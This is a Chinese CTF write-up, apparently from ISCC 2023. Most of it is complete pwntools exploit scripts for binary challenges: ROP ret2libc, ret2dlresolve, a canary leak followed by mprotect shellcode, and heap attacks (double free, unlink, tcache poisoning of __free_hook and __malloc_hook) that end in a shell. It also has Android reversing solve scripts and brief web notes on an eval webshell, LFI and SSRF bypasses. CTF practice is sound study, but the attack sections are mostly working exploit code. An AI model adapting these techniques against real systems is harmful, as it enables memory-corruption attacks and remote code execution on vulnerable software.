p=b”a”*7+p32(0x15CC15CC)
r.sendafter("input the username:\n",p)
pause()
p1=flat(b'a'*(0x28),poprdi,putsgot,putsplt,main,word_size=64)
r.sendlineafter("input the password:\n",p1)
pause()
r.recvline()
addr=u64(r.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print(hex(addr))
pause()
base=addr-libc.sym['puts']
system=base+libc.sym['system']
sh=base+next(libc.search(b'/bin/sh\x00'))
p=b”a”*7+p32(0x15CC15CC)
r.sendafter("input the username:\n",p3)
pause()
p4=flat(b'a'*(0x28),ret,poprdi,sh,system,word_size=64)
r.sendlineafter("input the password:\n",p4)
pause()
r.interactive()

第一用笔-1

shecksec

img

拖进ida

img

img

img

Exp:

from pwn import *
p=process("./usage_of_pen")
context(os='linux',arch='amd64',log_level='debug')
elf=ELF('./usage_of_pen')
libc=ELF('./libc.so.6(1)')    
r.sendafter(b"'nvfeng00'!\n",b"dunbi000cuobi000yufeng00dunfeng0cunfeng0nvfeng00yuefeng0anfeng00jiebi000")
ret=0x4006c1
rdi=0x400c53
putsplt=elf.plt['puts']
putsgot=elf.got['puts']
p1=b'a'*(0x20+8)+p64(0x400b0f)
r.sendafter(b"space",p1)
pause()
p2=flat(b'a'*(0x28),rdi,putsgot,putsplt,0x400b0f,word_size=64)
r.sendline(p2)
r.recvuntil(b"\n")
addr=u64(r.recv(6).ljust(8,b'\x00'))
print("addr-->",hex(addr))
pause()
libcbase=addr-libc.symbols['puts']
print(hex(libcbase))    
system=libcbase+libc.symbols['system']
sh=libcbase+next(libc.search(b'/bin/sh\x00'))
p3=flat(b'a'*(0x28),ret,rdi,sh,system,word_size=64)
r.sendline(p3)
r.interactive()

Eat_num

Checksec

img

I386框架32位程序。

Ida分析:

img

NX保护开启,ROP链限制,考察ret2dl技巧,生成rop链打一次read即可拿到shell。

Exp:

from pwn import *
r = process('./eatnum')
elf = ELF('eatnum')
context(arch='i386',os='linux', log_level='debug')
rop = ROP('eatnum')
pay1 = Ret2dlresolvePayload(elf, symbol="system", args=["/bin/sh"])
rop.read(0, pay1.data_addr)
rop.ret2dlresolve(pay1)
ropchain = rop.chain()
pay3 = b'a'*0x48 + p32(8) + ropchain
pay3 = pay3.ljust(0x100, b'c') + pay1.payload
r.sendline(pay3)
r.interactive()

困局

img

有Canary保护

Ida分析:

img

Func_key函数:

img

Func_1函数:

img

Exp:

from pwn import *
r=process('./Trapped')
elf=ELF('./Trapped')
libc=ELF('./libc.so.6(1)')
putsplt=elf.plt['puts']
putsgot=elf.got['puts']
main=0x400978
rdi=0x400a23
ret=0x40060e
context(arch='amd64',os='linux',log_level='debug')
pay1=b'%9$p'
r.sendafter("This is a larger box\n",pay1)
pay2='YYZ'
r.sendafter("We have a lot to talk about\n",pay2)
canary=int(r.recv(18),16)
print('canary------->'+str(hex(canary)))
pay3=b"19"
r.sendafter("This is a larger box\n",pay3)
pay4=flat(b'a'*(0x28),canary,b'a'*(0x8),rdi,putsgot,putsplt,main,word_size=64)
r.sendafter("We have a lot to talk about\n",pay4)
addr=u64(r.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print('addr-------->'+str(hex(addr))) 
base=addr-libc.sym['puts']
mprotect=base+libc.sym['mprotect']
read=base+libc.sym['read']
pop_rdx_rsi_ret=0x1151c9+base
bss=0x601000
pop_rdx_ret=0x27725+base
pop_rsi_ret=0x28ed9+base
shellcode=asm(shellcraft.open('./flag'))
shellcode+=asm(shellcraft.read(3,bss+0x200,0x30))
shellcode+=asm(shellcraft.write(1,bss+0x200,0x30))
pay5=flat(b'a'*0x28,canary,b'a'*(0x8),pop_rdx_rsi_ret,7,0x1000,rdi,bss,mprotect,pop_rdx_rsi_ret,len(shellcode),bss,rdi,0,read,bss)
pay5=pay5.ljust(0x100,b'\x00')
r.sendlineafter("This is a larger box\n",b'%9$p')
r.sendafter("We have a lot to talk about\n",pay5)
r.send(shellcode)
r.interactive()

第二识势-2

Checksec

img

ida分析:

img

Func_111001函数:

img

Exp如下:

from pwn import *
context(arch='amd64',os='linux', log_level='debug')
r= process('./attachment-34')
elf = ELF('./diershishi')
libc = ELF('libc-2.23.so')
r.sendlineafter(b"Start injecting\n",b'\x00'+b'a'*(0x16))
r.recvlines(1)
addr= int(r.recvuntil(b"d",drop=True))
print(addr)
r.sendline(str(0xffffff51).encode())
r.sendline(str((0x6012b0-0x20-addr)&0xffffffff).encode())
r.sendafter(b"Answer time is close to over\n",b'a'*0x10)
rdi = 0x400bd3
ret=0x4006e6
putsgot=elf.got["puts"]
putsplt=elf.plt["puts"]
p1=b'a'*0x88+p64(rdi)+p64(putsgot)+p64(putsplt)+p64(0x4008a7)
r.sendlineafter("Direct to destination\n", p1)
addr=u64(r.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
print('addr------------------->'+str(hex(addr)))
base=addr-libc.sym["puts"]
sh=base+next(libc.search(b"/bin/sh\x00"))
system=base+libc.sym['system']
p2=flat(b'a'*(0x88),ret,rdi,sh,system,word_size=64)
r.sendlineafter("Direct to destination\n", p2)
r.interactive()

Double

Checksec

img

拖进ida分析:

img

尝试找下/bin/sh,

img

system程序中有

img

接下来就是堆块布局改指针来执行system(‘/bin/sh’)

Exp

from pwn import *
r=process('./double')
context(os='linux', arch='amd64', log_level='debug')
system=0x400700
elf = ELF("./double")
libc=ELF('./libc.so.6')
#print('pid='+str(proc.pidof(r)))
def create(index,size):
    r.sendlineafter("请选择:",'1')
    r.sendlineafter("请输入序号:",str(index))
    r.sendafter("请输入大小:",str(size))
def free(index):
    r.sendlineafter("请选择:",'2')
    r.sendlineafter("请输入序号:",str(index))
def printf(index):
    r.sendlineafter("请选择:",'3')
    r.sendlineafter("请输入序号:",str(index))
def edit(index,content):
    r.sendlineafter("请选择:",'4')
    r.sendlineafter("请输入序号:",str(index))
    r.sendlineafter("请输入编辑内容:",content)
binsh =0x0000000000400cd8
for i in range(1):
    create(i,0x83)
    create(i+1,0x53)
free(0)
create(2, 0x53)
printf(2)
addr=u64(r.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
print('addr----------->'+str(hex(addr)))
main_arena = addr-0xd8
malloc_hook=main_arena-0x10
chunk = malloc_hook-0x23
for i in range(3,6):
    create(i,0x60)
for i in range(3,4):
    free(i)
    free(i+1)
    free(i)
create(6, 0x60)
edit(6, p64(chunk))
for i in range(7,10):
    create(i,0x60)
p=b"a"*0x13+p64(system)
edit(9, p)
create(10, str(binsh))
# r.sendline("cat flag.txt")
r.interactive()

Chef

Checksec

img

ida分析:

img

Restaurant_menu函数:

img

Add food函数:

img

Change_food函数:

img

Remove_food函数:

img

Show_food函数:

img

该题释放堆块的时候指针也给置0了,不存在UAF漏洞,但我们可以unlink,堆块布局实现任意地址写入free_hook,再将其值改为system地址,指向/bin/sh,执行即可。

exp

from pwn import *
r=process('./chef')
context(os='linux',arch='amd64',log_level='debug')
elf = ELF("./chef")
libc = ELF('./libc-2.23.so')
def add(size, content):
    r.sendlineafter(b"Your choice:", "2")
    r.sendlineafter(b"Please enter the price of food:", str(size))
    r.sendafter(b"Please enter the name of food:", content)
def show():
    r.sendlineafter(b"Your choice:", str(1))
def edit(index, size, content):
    r.sendlineafter(b"Your choice:", '3')
    r.sendlineafter(b"Please enter the index of food:", str(index))
    r.sendlineafter(b"Please enter the price of food :", str(size))
    r.sendafter(b"Please enter the name of food:", content)
def free(index):
    r.sendlineafter(b"Your choice:", '4')
    r.sendlineafter(b"Please enter the index of food:", str(index))
pause()
r.sendline('4')
pause()
add(0x10, b'a'*(0x10))
add(0x80, b'b'*(0x80))
add(0x80, b'c'*(0x80))
add(0x80, b'/bin/sh\x00')
chunk= 0x6020b8
p = b'a' * 0x10+p64(0)+p64(0x91)+p64(0)+ p64(0x81) + p64(chunk - 0x18)+p64(chunk - 0x10)
p = p.ljust(0xa0, b'a')
p += p64(0x80) + p64(0x90)
edit(0, len(p), p)
free(2)
edit(1, 0x20, p64(0x50) + p64(elf.got["puts"]))
show()
addr=u64(r.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
base=addr-libc.sym['puts']
print('base----------->'+str(hex(base)))
system=base+libc.sym['system']
free_hook=base+ libc.sym['__free_hook']
print('free_hook-------------->'+str(hex(free_hook)))
edit(1,0x20,p64(0x50)+p64(elf.got["puts"])+p64(0x50) + p64(free_hook))
edit(1,0x20,p64(system))
free(3)
r.interactive()

Your_character

Checksec

img

Ida分析:

img

design_character_skill()函数:

img

create_skill()函数:

img

edit_damage()函数:

img

edit_introduction()函数:

img

show_skill()函数:

img

delete_skill()函数:

img

整体思路就是edit堆块时候堆溢出篡改数据造成堆叠,泄露libc,改写控制堆块的指针,写入one_gadget,最后触发one_gadget获取shell

Exp

from pwn import *
context(os='linux', arch='amd64', log_level='debug')
r=process('./your_character')
elf = ELF('./your_character')
libc = ELF('./libc-2.23.so')
def add(size, data):
    r.sendafter(b'choice :', b'1')
    r.sendafter(b'skill : ', str(size))
    r.sendafter(b'skill:', data)
def edit_size(idx, size):
    r.sendafter(b'choice :', b'2')
    r.sendafter(b'Index :', str(idx))
    r.sendafter(b'skill : ', str(size))
def edit_data(idx, data):
    r.sendafter(b'choice :', b'3')
    r.sendafter(b'Index :', str(idx))
    r.sendafter(b'skill : ', data)
def show(idx):
    r.sendafter(b'choice :', b'4')
    r.sendafter(b'Index :', str(idx))
def free(idx):
    r.sendafter(b'choice :', b'5')
    r.sendafter(b'Index :', str(idx)) 
r.sendlineafter("Your choice :",'1')
add(0x68,b'a'*(0x68)) 
add(0x10,b'b'*(0x10)) 
add(0x60,b'c'*(0x60)) 
add(0x50,b'd'*(0x50)) 
edit_data(0, b'\x00'*0x68 + p8(0xf1))
free(1)
add(0xe0, b'e'*8) 
show(1)
addr=u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
print(' addr -> ', hex(addr))
base = addr - 0x68 - libc.sym['__malloc_hook']
print(' libc_base -> ', hex(base))
malloc_hook = base + libc.sym['__malloc_hook']
one_gadget = base + 0xf1247
free(2)
edit_data(1, p64(0)*3 + p64(0x21) + p64(0xe0) + p64(0)*2 + p64(0x21) + p64(0)*3 + p64(0x71) + p64(malloc_hook - 0x23))
add(0x60,'YYZ') 
free(3)
add(0x60, b'\x00'*0x13 + p64(one_gadget))
r.sendlineafter("Your choice :",'6')
r.sendlineafter("Your choice :", '2')
r.sendline("cat flag.txt")
r.interactive()

SIMS

Checksec

img

ida分析:

img

Gdb调试:

img

If判断通过后进入change函数:

img

Create函数:

img

dele()函数:

img

Free堆块的时候存在UAF漏洞。

edit()函数:

img

show()函数:

img

有UAF,那就unsort时候写入/bin/sh,堆块布局,泄露libc,再写入free_hook,改写free_hook的值为one_gadg的地址,触发system(‘/bin/sh”)即可。

找下one_gadget

img

Exp:

from pwn import *
context(log_level='debug',os='linux',arch='i386')
r= process("./SIMS")
elf=ELF('./SIMS')
libc=ELF('libc.so.6')
r.sendlineafter(b"welcome~ please input the password:\n",str(2118602923).encode())
def add(size):
    r.sendlineafter(b"please choose one!\n",str(1))
    r.sendlineafter(b"Age of Stu:\n",str(size))
def edit(idx,com):
    r.sendlineafter(b"please choose one!\n",str(3))
    r.sendlineafter(b"Index:\n",str(idx))
    r.sendlineafter(b"Content of Stu:\n",com)
def free(idx):
    r.sendlineafter(b"please choose one!\n",str(2))
    r.sendlineafter(b"Index:\n",str(idx))
def show(idx):
    r.sendlineafter(b"please choose one!\n",str(4))
    r.sendlineafter(b"Index:\n",str(idx))
for i in range(9):
    add(0x100)
for i in range(9,-1,-1):
    free(i)
for i in range(7):
    add(0x100)
add(0x100)
show(7)
base = u64(r.recvuntil('\x7f')[-6:].ljust(8,b"\x00"))-0x3ebeb0
print ("libc_base ------------------------>",hex(base))
free_hook = base+libc.sym['__free_hook']
onegadget = 0x4f2a5+base
free(0)
free(1)
free(2)
edit(2,p64(free_hook))
add(0x100)
add(0x100)
edit(6,p64(onegadget))
edit(7,"/bin/sh\x00")
free(7)
r.interactive()

谜语人

Checksec

img

I386框架的32位程序,保护全开。

img

img

首先进行堆块布局,泄露出堆地址,计算libc基址,从而算出system地址。

篡改堆管理器指针为system,指向/bin/sh即可。

from pwn import *
context(os='linux', arch='i386', log_level='debug')
r= process('./Riddler')
elf = ELF('./Riddler')
libc = ELF('./libc6-i386_2.27-3ubuntu1.6_amd64.so')
def add(idx):
    r.sendlineafter(b'Then?\n', b'2')
    r.sendlineafter(b'emmm?!\n', str(idx))
def free(idx):
    r.sendlineafter(b'Then?\n', b'1')
    r.sendlineafter(b'emmm?!\n', str(idx))
def show(idx):
    r.sendlineafter(b'Then?\n', b'0')
    r.sendlineafter(b'emmm?!\n', str(idx))
def edit(idx, data):
    r.sendlineafter(b'Then?\n', b'3')
    r.sendlineafter(b'emmm?!\n', str(idx))
    r.sendline(data)
add(3)
add(4)
free(4)
edit(4, p64(0))
free(4)
show(4)
heap_addr = u32(r.recv(4))
ptr_heap = heap_addr - 0x1048 + 0x8
edit(4, p32(ptr_heap))
add(5)
add(6)
free(6)
show(6)
p.recv(4)
malloc_hook=u32(r.recv(4)) - 0x38 - 0x8 - 0x10
base = malloc_hook - libc.sym['__malloc_hook']
system=base + libc.sym['system']
free(3)
edit(3, p64(0))
free(3)
edit(3, p32(heap_addr-0x1230+0x190))
add(7)
add(8)
show(8)
edit(8, p32(system))
print(' libc_base ------------------------> ', hex(base))
print(' ptr_heap ------------------------> ', hex(ptr_heap))
print(' heap_addr --------------------------> ', hex(heap_addr))
print(' system -------------------------------> ', hex(system))
edit(7, b'/bin/sh\x00')
show(7)
interactive()

ANDROID

NOJAVA

image-20230531004804342

打开apk分析函数

找到密文,加密部分在so文件

image-20230531004912807

找到函数加密位置,主要加密逻辑为先将输入字符串转为二进制,然后将10转为1001

01转为0110,11转为1010,00转为0101

所以根据这个可以写解密脚本:

exp:

import libnum

s = 'eZeYYZfiYeejjiejfifjjYjj' # 字符串
s = libnum.s2n(s)
a = bin(s)[2:]

a = (4-(len(a)%4))*'0'+a
a = [a[i*4:(i+1)*4] for i in range(len(a)//4)]

dic = {"1001":"10","0110":"01","1010":"11","0101":"00"}
flag = ""
for i in a:
    flag += dic[i]

print(b'ISCC{'+libnum.n2s(int(flag,2))+b'}')

运行得到flag:ISCC{CB#V$GvGVWrw}

WhereisFlag-1

image-20230531005326440

分析发现主要的加密解密逻辑在checkSN中也就是so文件内,然后用ida打开so文件

image-20230531005640655

经过分析发现,当输入账号的时候会来到wrong_2(),只输入密码会来到wrong_1()

两个都输入的话会来到

image-20230531005756423

将输入进行md5加密让分割

在wrong_1()中找到md5加密字符串

image-20230531005830388

解密得到:YOULIKE

image-20230531005916650

然后分析wrong_2()

image-20230531010008519

这里发现主要是调用getMany()函数

image-20230531010157544

经过分析发现加密为rc4加密,当输入账号为flagishere的时候为true,所以猜测

flagishere为明文flag为密文,密钥应该为:this is key for Encript test

image-20230531005622653

但是用标准的rc4加密不能得到正确flag,所以这里直接上动态调试

image-20230531010751807

可以看到a2也就是明文的值为flagishere

所以这里直接获取a3的值即可,发现a3的值在EDX中

image-20230531011208584

所以直接看EDX的值,最终得到密文:128215131d0dd4119e60

组合为flag:ISCC{YOU_LIKE_128215131d0dd4119e60}

WhereisHint-2

image-20230531011423074

分析代码,发现没有找到加密函数

image-20230531011500148

但是在这里导入了一个包,跟进看一下

image-20230531011616803

找到密文以及加密函数eq()

打开so文件分析

image-20230531011718676

找到加密算法

分析发现是类似于DES的算法

exp:

import re
import libnum

flag = list("0111111001010011001111010110101101010101011010011011111010110000")
ipReverseTable = [40, 8, 48, 16, 56, 24, 64, 32, 39, 7, 47, 15, 55, 23, 63, 31, 38, 6, 46, 14, 54, 22, 62, 30, 37, 5, 45, 13, 53, 21, 61, 29, 36, 4, 44, 12, 52, 20, 60, 28, 35, 3, 43, 11, 51, 19, 59, 27, 34, 2, 42, 10, 50, 18, 58, 26, 33, 1, 41, 9, 49, 17, 57, 25]
ipTable = [58, 50, 42, 34, 26, 18, 10, 2, 60, 52, 44, 36, 28, 20, 12, 4, 62, 54, 46, 38, 30, 22, 14, 6, 64, 56, 48, 40, 32, 24, 16, 8, 57, 49, 41, 33, 25, 17, 9, 1, 59, 51, 43, 35, 27, 19, 11, 3, 61, 53, 45, 37, 29, 21, 13, 5, 63, 55, 47, 39, 31, 23, 15, 7]
extendTable = [32, 1, 2, 3, 4, 5, 4, 5, 6, 7, 8, 9, 8, 9, 10, 11, 12, 13, 12, 13, 14, 15, 16, 17, 16, 17, 18, 19, 20, 21, 20, 21, 22, 23, 24, 25, 24, 25, 26, 27, 28, 29, 28, 29, 30, 31, 32, 1]
sBox = [14, 4, 13, 1, 2, 15, 11, 8, 3, 10, 6, 12, 5, 9, 0, 7, 0, 15, 7, 4, 14, 2, 13, 1, 10, 6, 12, 11, 9, 5, 3, 8, 4, 1, 14, 8, 13, 6, 2, 11, 15, 12, 9, 7, 3, 10, 5, 0, 15, 12, 8, 2, 4, 9, 1, 7, 5, 11, 3, 14, 10, 0, 6, 13, 15, 1, 8, 14, 6, 11, 3, 4, 9, 7, 2, 13, 12, 0, 5, 10, 3, 13, 4, 7, 15, 2, 8, 14, 12, 0, 1, 10, 6, 9, 11, 5, 0, 14, 7, 11, 10, 4, 13, 1, 5, 8, 12, 6, 9, 3, 2, 15, 13, 8, 10, 1, 3, 15, 4, 2, 11, 6, 7, 12, 0, 5, 14, 9, 10, 0, 9, 14, 6, 3, 15, 5, 1, 13, 12, 7, 11, 4, 2, 8, 13, 7, 0, 9, 3, 4, 6, 10, 2, 8, 5, 14, 12, 11, 15, 1, 13, 6, 4, 9, 8, 15, 3, 0, 11, 1, 2, 12, 5, 10, 14, 7, 1, 10, 13, 0, 6, 9, 8, 7, 4, 15, 14, 3, 11, 5, 2, 12, 7, 13, 14, 3, 0, 6, 9, 10, 1, 2, 8, 5, 11, 12, 4, 15, 13, 8, 11, 5, 6, 15, 0, 3, 4, 7, 2, 12, 1, 10, 14, 9, 10, 6, 9, 0, 12, 11, 7, 13, 15, 1, 3, 14, 5, 2, 8, 4, 3, 15, 0, 6, 10, 1, 13, 8, 9, 4, 5, 11, 12, 7, 2, 14, 2, 12, 4, 1, 7, 10, 11, 6, 8, 5, 3, 15, 13, 0, 14, 9, 14, 11, 2, 12, 4, 7, 13, 1, 5, 0, 15, 10, 3, 9, 8, 6, 4, 2, 1, 11, 10, 13, 7, 8, 15, 9, 12, 5, 6, 3, 0, 14, 11, 8, 12, 7, 1, 14, 2, 13, 6, 15, 0, 9, 10, 4, 5, 3, 12, 1, 10, 15, 9, 2, 6, 8, 0, 13, 3, 4, 14, 7, 5, 11, 10, 15, 4, 2, 7, 12, 9, 5, 6, 1, 13, 14, 0, 11, 3, 8, 9, 14, 15, 5, 2, 8, 12, 3, 7, 0, 4, 10, 1, 13, 11, 6, 4, 3, 2, 12, 9, 5, 15, 10, 11, 14, 1, 7, 6, 0, 8, 13, 4, 11, 2, 14, 15, 0, 8, 13, 3, 12, 9, 7, 5, 10, 6, 1, 13, 0, 11, 7, 4, 9, 1, 10, 14, 3, 5, 12, 2, 15, 8, 6, 1, 4, 11, 13, 12, 3, 7, 14, 10, 15, 6, 8, 0, 5, 9, 2, 6, 11, 13, 8, 1, 4, 10, 7, 9, 5, 0, 15, 14, 2, 3, 12, 13, 2, 8, 4, 6, 15, 11, 1, 10, 9, 3, 14, 5, 0, 12, 7, 1, 15, 13, 8, 10, 3, 7, 4, 12, 5, 6, 11, 0, 14, 9, 2, 7, 11, 4, 1, 9, 12, 14, 2, 0, 6, 10, 13, 15, 3, 5, 8, 2, 1, 14, 7, 4, 10, 8, 13, 15, 12, 9, 0, 3, 5, 6, 11]
pTable = [16, 7, 20, 21, 29, 12, 28, 17, 1, 15, 23, 26, 5, 18, 31, 10, 2, 8, 24, 14, 32, 27, 3, 9, 19, 13, 30, 6, 22, 11, 4, 25]
static_flag = ['100000001010101000000110000000001010000010000001', '101000000010011000000110001000000010000001001001', '011000000001011000000100001000101001000000000010', '010000001001000001110000000001000000010100100010', '100001001100000001110010000011000000100001000000', '101001100100001100000010010000001100000001010000', '001010100001001100000001000000011000010000001000', '000010010001000001011001100010000001010000000000', '000010010100000011011000000110010001000000100000', '000101000100000110011000000000000100100000100000', '000101100000100100000001000000000010100000010100', '000010110010100000000101101000010000000010010000', '000010010010010010001100000000010000001000000011', '010100000000010010101000000101100000000000000100', '110100001000100000100000000000000000000111000100', '100100001010100000100010010001000010000010000000']

def pointerOffseter(a1,k):
    return a1[k]

def xorAB(a1,a2):
    temp = []
    for i in range(len(a1)):
        if a1[i] == a2[i]:
            temp.append('0')
        else:
            temp.append('1')
    return temp

def sub_CA6A3792(a1,index,lens):
    base = index + lens
    return a1[index:base]

def f(pwd_0to32, static_flag):
    global extendTable,sBox,pTable
    v33 = []
    for i0 in range(48):
        v32 = pointerOffseter(pwd_0to32, extendTable[i0] - 1)
        v33.append(v32)
    v32 = static_flag
    v39 = xorAB(v33,v32)
    v40 = []
    for i0 in range(8):
        v40.append(sub_CA6A3792(v39,i0*6,6))
    for i in range(8):
        v28 = sub_CA6A3792(v40[i],0,1)
        v27 = sub_CA6A3792(v40[i],5,1)
        v29 = ["".join(v28),"".join(v27)] # 2Bit
        v26 = sub_CA6A3792(v40[i],1,4) # 4Bit
        v14 = ((int(256/4) * i)) + (int(64/4) * int("".join(v29),2))
        v19 = sBox[v14 + int("".join(v26),2)]
        v24 = str(bin(v19))[2:].rjust(4,'0')
        v40[i] = v24
    v40 = list(listToStr(v40))
    a1 = []
    for i1 in range(32):
        v35 = pointerOffseter(v40,pTable[i1] - 1)
        a1.append(v35)
    return a1

def strTobin(s):
    s = ''.join(format(ord(x), 'b').rjust(8,'0') for x in s)
    s = s.ljust(64,'0')
    return s

def listToStr(s):
    return str(re.sub('[^\d]','',str(s)))

def encByte(a1):
    global static_flag,ipReverseTable,ipTable
    t_a1 = list(a1)
    a1 = []
    for i0 in range(64):
        vp = pointerOffseter(t_a1,ipTable[i0] - 1)
        a1.append(vp)
    v49 = a1[0:32]
    v48 = a1[32:64]
    temp_v49 = [v49]
    temp_v48 = [v48]
    for i in range(16):
        temp_v49.append(temp_v48[i])
        v43 = temp_v49[i]
        v41 = temp_v48[i]
        v40 = static_flag[i]
        vf = f(v41,list(v40))
        vx = xorAB(v43,vf)
        temp_v48.append(vx)
    v35 = [temp_v48[16],temp_v49[16]]

    v35 = listToStr(v35)
    v35 = list(v35)

    result = []
    for i1 in range(64):
        vi1 = pointerOffseter(v35,ipReverseTable[i1] - 1)
        result.append(vi1)
    return result
enc = encByte(strTobin("k1234567"))
def reinsertByOffset(a1,k):
    temp_l = [0 for x in range(len(a1))]
    for i in range(len(k)):
        temp_l[k[i]-1] = a1[i]
    return temp_l

def decByte(a1):
    global static_flag
    v49 = a1[0:32]
    v48 = a1[32:64]
    temp_v49 = [v49]
    temp_v48 = [v48]
    for i in range(16):
        temp_v49.append(temp_v48[i])
        v43 = temp_v49[i]
        v41 = temp_v48[i]
        v40 = static_flag[15 - i]
        vf = f(v41,list(v40))
        vx = xorAB(v43,vf)
        temp_v48.append(vx)
    v35 = [temp_v48[16],temp_v49[16]]

    v35 = listToStr(v35)
    v35 = list(v35)
    return v35

en = reinsertByOffset((flag),ipReverseTable)
en = decByte(en)
en = reinsertByOffset(enc, ipTable)
flag = "".join(en)
print(b'ISCC{'+libnum.n2s(int(flag,2))+b'}')

运行得到flag:

image-20230531012010146

MobileTest

image-20230531012124644

找到密文,但是这个是调用a函数生成的密文

image-20230531012159579

这里发现a函数就是将字符串前和末尾进行拼接了一些字符串

还原一下得到字符串:74BAB6984CBEFF0946CCD3297A21C3F7

分析so文件的加密函数

image-20230531012443905

发现上面是AES加密,下面是将AES加密的结果的十六进制的高低位交换了

AES加密的密钥为dest变量

610000006900000073000000790000006C000000450000006E000000650000006400000045000000610000006900000073000000790000006C00000045000000

image-20230531012758165

这里发现S盒以及逆S盒的数据被替换,将正确的数据提取出来,然后在网上找个脚本解密

image-20230531013027693

image-20230531013023340

得到flag

ManyJni

image-20230531013126051

分析函数

发现是调用stringJNI对flag加密,然后传入的参数为(flag+c,d)

然后c是调用C函数和stringFromJNI()生成的,d是调用stringFromJNI()和D函数生成的

所以这里直接调用so文件函数可以得到c的值以及d的值

然后尝试传入参数调用stringJNI加密

传入参数为字符a的时候,发现值为:.1083538065.1130340170

然后当传入两个字符的时候可以发现是将密文进行了分割,前半部分在第一个if比较,后半部分在第二个if比较,所以可以通过使用一个for循环来生成一个码表,然后将两个部分的密文进行拼接替换即可得到flag

得到的码表为:

{"1463495029.1088610877": "+", "1049530879.4255690777": "#", "2862766292.2381007417": "$",
       "3330444070.1174262214": ",", "2227920669.2827401366": "_", "1579951362.2846238576": "8", "368955456.3265704134": "T",
       "2696190145.613662970": "(", "3872134833.1068749546": "m", "891426205.2766473378": "/", "1519023352.105877999": "j",
       "2477809142.443877620": "[", "2647754101.2230120467": "`", "3075111042.1323776342": "i", "986806734.2777299023": ".",
       "3896053831.4135235691": "?", "1184712308.807098365": "I", "4075828588.429489377": "M", "2429787593.619384622": "l",
       "881206442.1709247634": "]", "1083538065.1130340170": "a", "4023341693.1586698450": "6", "155280819.3054501475": "W",
       "99771100.1051999332": "9", "4232898851.3300692563": ")", "64956337.4234499210": "1", "2870232400.3722498303": "\\",
       "2841218066.780431097": "e", "132800239.3878689771": "w", "2156232310.2823971181": "k", "1808290711.212509551": "7",
       "696150085.2220172189": "p", "3713618273.3259647236": "q", "3121040253.2415880190": "u", "2858698525.3991735450": "z",
       "2547227671.698153515": ";", "654785657.4006927810": "n", "3711461495.3008240604": "<", "3581263639.1952078211": "f",
       "3164894139.2581098102": "y", "3160675335.657981347": "x", "1158103192.2450550443": "~", "1236282010.4060431406": "A",
       "4027068562.440012179": "c", "351048083.1823512614": "o", "1462318326.3226159060": "C", "2954653653.1618611175": "P",
       "701073028.312955233": "%", "666315003.3369729975": "4", "2853626980.607086523": "=", "19734539.2637167118": "@",
       "4120373985.112157582": "J", "2302105109.2843567652": "L", "1392500071.2693188089": "^", "709910699.3712210805": "s",
       "3113384841.1999610280": ":", "1964704696.30454558": "X", "3016651642.1304626590": "E", "924745076.1085575287": "3",
       "1979386605.348865528": "*", "3283987997.1614515444": "\"", "3248176867.998559740": "Y", "2460099397.287946231": "r",
       "933728663.4036345491": "D", "870221498.4165280671": "F", "700813972.3680578651": "!", "2666170697.1050538432": "G",
       "3735675442.4106461569": "Q", "3944223761.1040972928": "S", "406509623.2197974953": "-", "166914849.75133536": "2",
       "1971216652.4016620168": "B", "3126027666.2407112104": "'", "2421050068.877129437": "h", "2694837670.239856188": "v",
       "4259959222.1144992995": "}", "1986798057.4141497725": "0", "734889408.680957602": "t", "3747360752.949414639": ">",
       "4099300672.1926520061": "V", "2965350987.46203785": "K", "428936951.1911408410": "d", "1336447878.2775388247": "b",
       "4097885373.4018178710": "&", "1935593237.368431450": "Z", "529156133.278213883": "N", "2381012008.4088810995": "R",
       "385403258.710806366": "g", "4273244629.3478477188": "H", "1802901715.704799359": "|", "930008935.2627182413": "5",
       "4018804880.2724391126": "O", "4067852839.2777358486": "U", "1615466436.2634553015": "{"}

exp:

part1 = ".1463495029.1049530879.4097885373.4273244629.3747360752.4018804880.2381012008.166914849.1986798057.1236282010.529156133.4075828588"[1:].split(".")
part2 = ".1088610877.4255690777.4018178710.3478477188.949414639.2724391126.4088810995.75133536.4141497725.4060431406.278213883.429489377"[1:].split(".")
flag = ''
for a, b in zip(part1, part2):
    flag += dic[f"{a}.{b}"]
if flag[-3:] == 'ANM':
    print("ISCC{" + flag[:-3] + "}")
else:
    print("wrong")

运行得到flag

ManyMany

image-20230531013709197

分析代码,发现主要逻辑在stringFronJNI函数中,ida打开so文件分析代码

image-20230531013729828

image-20230531013738116

找到两段密文

将第一段逆置,第二段根据某种映射关系映射得到flag

exp:

s = "#16P"
s1 = "m=%mL9DO"
flag = s[::-1]
map = {0:0, 4:1, 1:2, 5:3, 2:4, 6:5, 3:6, 7:7}
for i in range(8):
    flag += s1[map[i]]
print(flag)

擂台

WEB

3d建模

通过抓包发现要传入一个key值且范围为[2,6]

传入key后发现是概率性触发,解码原本重定向的参数后发现imges是base64编码的,并且根据报错显示,可以知道这里存在任意文件读写

获得index.php

第一段:

???

第二段:LFI + 碰撞key值

读index.php

读取/flaaaag,得到 w#|m0p3DTB5o_V}

智力王

扫描目录得到源码,发现有hint,去访问发现提示key为4位,又参考源码中hint部分有对level传值,先尝试去爆破下密钥

image-20230601101038735

构造session

image-20230601101046280

根据提示,行百里者半九十

赠元发弟放言 – 百度汉语
作者:黄庭坚

亏功一篑,未成丘山。凿井九阶,不次水泽。行百里者半九十,小狐汔济濡其尾。故曰时乎,时不再来。终终始始,是谓君子。

去90关,发现ssrf的入口

然后发现ssrf入口,在服务器上构造302页面,通过日志分析,ssrfprotect函数应该是有两次请求,第一次为检测,第二次才是真正请求,所以在服务器开始设置,成功绕过

最后格式化字符串

https://sec-in.com/article/336

侧信道

image-20230601101130132

蚁剑连接

第0层

访问http://47.94.14.162:10011/

 <?php
highlight_file(__FILE__);
include('waf.php');
@eval($_POST[1]);
?> 

访问http://47.94.14.162:10011/waf.php

跳转到https://www.bilibili.com/video/BV1GJ411x7h7/?VUE9SVNDQw&t=1&vd_source=a3973ee32c81b12d5f6370e78020d6a5

对url的参数进行分析,得到

VUE9SVNDQw -> UA=ISCC

更改UA,得到IScC_L3vel2.php

第一层访问http://47.94.14.162:10011/IScC_L3vel2.php

WELCOME TO 2023ISCC
your are in 2023ISCC
W0w you Find me next
IsCC_N3xT.php

第二层

访问:http://47.94.14.162:10011/IsCC_N3xT.php

注释中发现隐藏信息,构建base64绕过
